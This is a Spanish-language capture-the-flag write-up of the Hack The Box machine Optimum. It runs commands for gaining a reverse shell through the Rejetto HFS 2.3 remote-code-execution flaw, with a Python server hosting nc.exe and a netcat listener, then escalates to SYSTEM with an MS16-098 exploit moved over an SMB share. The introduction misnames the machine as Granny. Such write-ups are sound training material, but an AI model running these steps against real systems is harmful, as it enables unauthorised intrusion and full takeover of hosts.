> For the complete documentation index, see [llms.txt](https://d4redevil.gitbook.io/d4redevil/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4redevil.gitbook.io/d4redevil/writeups/hack-the-box/windows/easy/optimum.md).

# Optimum

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FrZxWjWEVUhJgdU98BB1O%2FOptimum00.png?alt=media&amp;token=54eec436-0b0a-439a-bddd-13694fadbeae" alt=""><figcaption></figcaption></figure>

¡Hola, hacker! ¡Bienvenid@ a un nuevo post!

En este artículo, abordaremos la resolución de la máquina Granny de la plataforma Hack The Box. Primero, ganaremos acceso al sistema explotando una vulnerabilidad de ejecución remota de código (RCE). Esta vulnerabilidad, identificada como CVE-2014-6287, afecta a la aplicación Rejetto HTTP File Server (HFS) versión 2.3. Luego, para escalar nuestros privilegios, explotaremos la vulnerabilidad MS16-098, que se refiere a una falla de seguridad en los controladores de modo kernel de Microsoft Windows, específicamente en la gestión de objetos en la memoria por parte del kernel.

## Reconocimiento

Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FpHKuusMNsuSHTn24B4CQ%2FOptimum01.png?alt=media&amp;token=e8fdd4ae-0397-4083-affc-0197ac33235e" alt=""><figcaption><p>Reconocimiento usando el comando ping</p></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

## Enumeración

### Descubrimiento de puertos abiertos <a href="#descubrimiento-de-puertos-abiertos" id="descubrimiento-de-puertos-abiertos"></a>

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.<br>

```bash
nmap -sS -p- --open --min-rate 5000 10.10.10.8 -n -Pn -oG scanPorts -vvv
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FM109wiy9D5MYUjJobuDp%2FOptimum02.png?alt=media&amp;token=a30905e4-97c9-4c83-89d5-f6dbb8d76873" alt=""><figcaption><p>Descubrimiento de puertos abiertos</p></figcaption></figure>

### Enumeración de versión y servicio <a href="#enumeracion-de-version-y-servicio" id="enumeracion-de-version-y-servicio"></a>

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.<br>

```bash
nmap -sCV -p80 10.10.10.8 -oN targeted -vvv
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FQyIRTbwRqK2RlUQU041S%2FOptimum03.png?alt=media&amp;token=8429eed3-6117-4253-b38a-ca92e0054755" alt=""><figcaption><p>Descubrimiento de versión y servicio con nmap</p></figcaption></figure>

Web

Si ingresamos a la web que esta corriendo bajo el puerto 80, nos encontramos con el servicio `HttpFileServer http 2.3`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FuWaiQErYrgwy8A7RoLD4%2FOptimum04.png?alt=media&amp;token=cc405b21-86e8-4ece-ab4d-092d884dc83a" alt=""><figcaption><p>HttpFileServer http 2.3</p></figcaption></figure>

## Explotación

Si hacemos una busqueda utilizando la herramienta `searchsploit`, vemos que esta versión especifica de este servicio HttpFileServer http 2.3 es vulnerable a RCE (Remote Command Execution).

Nos traemos el exploit a nuestro directorio y lo renombramos como `hfs_exploit.py`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FVUDAuBzJJI2wK0W3qzTv%2FOptimum05.png?alt=media&amp;token=77720848-6c3c-47c8-87e3-e87b87426956" alt=""><figcaption></figcaption></figure>

Cambiamos el valor de la variable `ip_addr` a la que nos asigna la VPN de Hack The Box (en este caso `10.10.14.2`).

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fz8DltKqZl1MArjxXf37W%2FOptimum06.png?alt=media&amp;token=b976c6a9-faad-47c2-9bd8-cf03182b8148" alt=""><figcaption><p>Exploit</p></figcaption></figure>

Creamos un servidor HTTP con Python por le puerto 80 para compartir `nc.exe` y por otra parte nos ponemos en escucha con netcat por el puerto 443 (o el que hayamos indicado en el exploit).

Hay que tener en cuenta, que debemos ejecutar el exploit dos veces. Esto se debe, a que la primera vez se descarga el exploit y el binario de `nc.exe` y luego se lanza la reverse shell.

Creamos el servidor HTTP con Python:

```bash
python3 -m http.server 80
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FnmJfLfFtetT98oedbCuh%2FOptimum07.png?alt=media&amp;token=3f556513-77ce-4635-b723-5f50976ad600" alt=""><figcaption><p>Servidor HTTP con Python</p></figcaption></figure>

> `httpgo`, es una utilidad que tengo en la .zshrc:
>
> `alias httpgo='python3 -m http.server 80'`

Nos ponemos en escucha con netcat por el puerto 443.

```bash
rlwrap nc -lnvp 443
```

Ejecutamos el exploit.

```bash
python2 hfs_exploit.py 10.10.10.8 80
```

Ganamos acceso al sistema como el usuario `kostas`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FAiDKF6X0Wzwm5ijBKef3%2FOptimum08.png?alt=media&amp;token=f577d560-03f3-4cd8-afda-74883f702384" alt=""><figcaption><p>Ganamos acceso al sistema</p></figcaption></figure>

Leemos el flag de `user.txt`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FdqlGOUO793avHvNep2IH%2Fimage.png?alt=media&amp;token=a209d0c4-eeeb-4105-9d03-3f63521d65b1" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Escalación de privilegios

Para escalar nuestros privilegios, utilizamos [Windows Exploit Suggester](https://github.com/bitsadmin/wesng).

En primer lugar, debemos guardar el resultado de la ejecución del comando `systeminfo` en un archivo, por ejemplo: `systeminfo.txt`.

Luego, debemos ejecutar el siguiente comando:

```bash
python3 wes.py -e systeminfo.txt -i 'Elevation of Privilege'
```

El resultado de este script, nos revelara posibles formas de elevar nuestros privilegios, filtrando por aquellos que cuenten con un exploit público.

En este caso, la vulnerabilidad que estaremos explotando para escalar privilegios es la identificada como [MS16-098](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-098).&#x20;

> La vulnerabilidad MS16-098 se refiere a una falla de seguridad en los controladores de modo kernel de Microsoft Windows, específicamente en cómo el controlador del kernel maneja objetos en la memoria. Esta vulnerabilidad permite la ejecución remota de código si un atacante envía una solicitud especialmente diseñada al sistema objetivo.
>
> Como solución, es recomendado aplicar la actualización de seguridad proporcionada por Microsoft, que corrige cómo el controlador del kernel maneja los objetos en la memoria.

El exploit a utilizar es [este](https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/blob/main/bin-sploits/41020.exe).

Lo descargamos a nuestra máquina y creamos un recurso compartido con `impacket-smbserver` para poder transferir el exploit a la máquina víctima.

Creamos el recurso compartido.

```bash
impacket-smbserver -smb2support sharedFolder .
```

Descargamos el exploit.

```
copy \\10.10.14.2\sharedFolder\41020.exe 41020.exe
```

Ejecutamos el exploit y escalamos a `NT Authority\System`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F2HcV6IfXcQKCEUkZWqyU%2FOptimum09.png?alt=media&amp;token=c1420586-dc40-42c7-90cc-89ff926a66c4" alt=""><figcaption><p><code>NT Authority\System</code></p></figcaption></figure>

De esta forma, logramos escalar nuestros privilegios.

Por ultimo, leemos el flag de `root.txt`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fhh1StpXqfIlQcxctfDO9%2Fimage.png?alt=media&amp;token=45296608-ae99-4e31-8bf5-68a2661b529b" alt=""><figcaption><p>root.txt</p></figcaption></figure>

De esta manera, concluimos la resolución de la máquina Optimum.

Espero que los conceptos hayan quedado claros y hayas disfrutado del contenido.

¡Gracias por leer!

Happy Hacking!
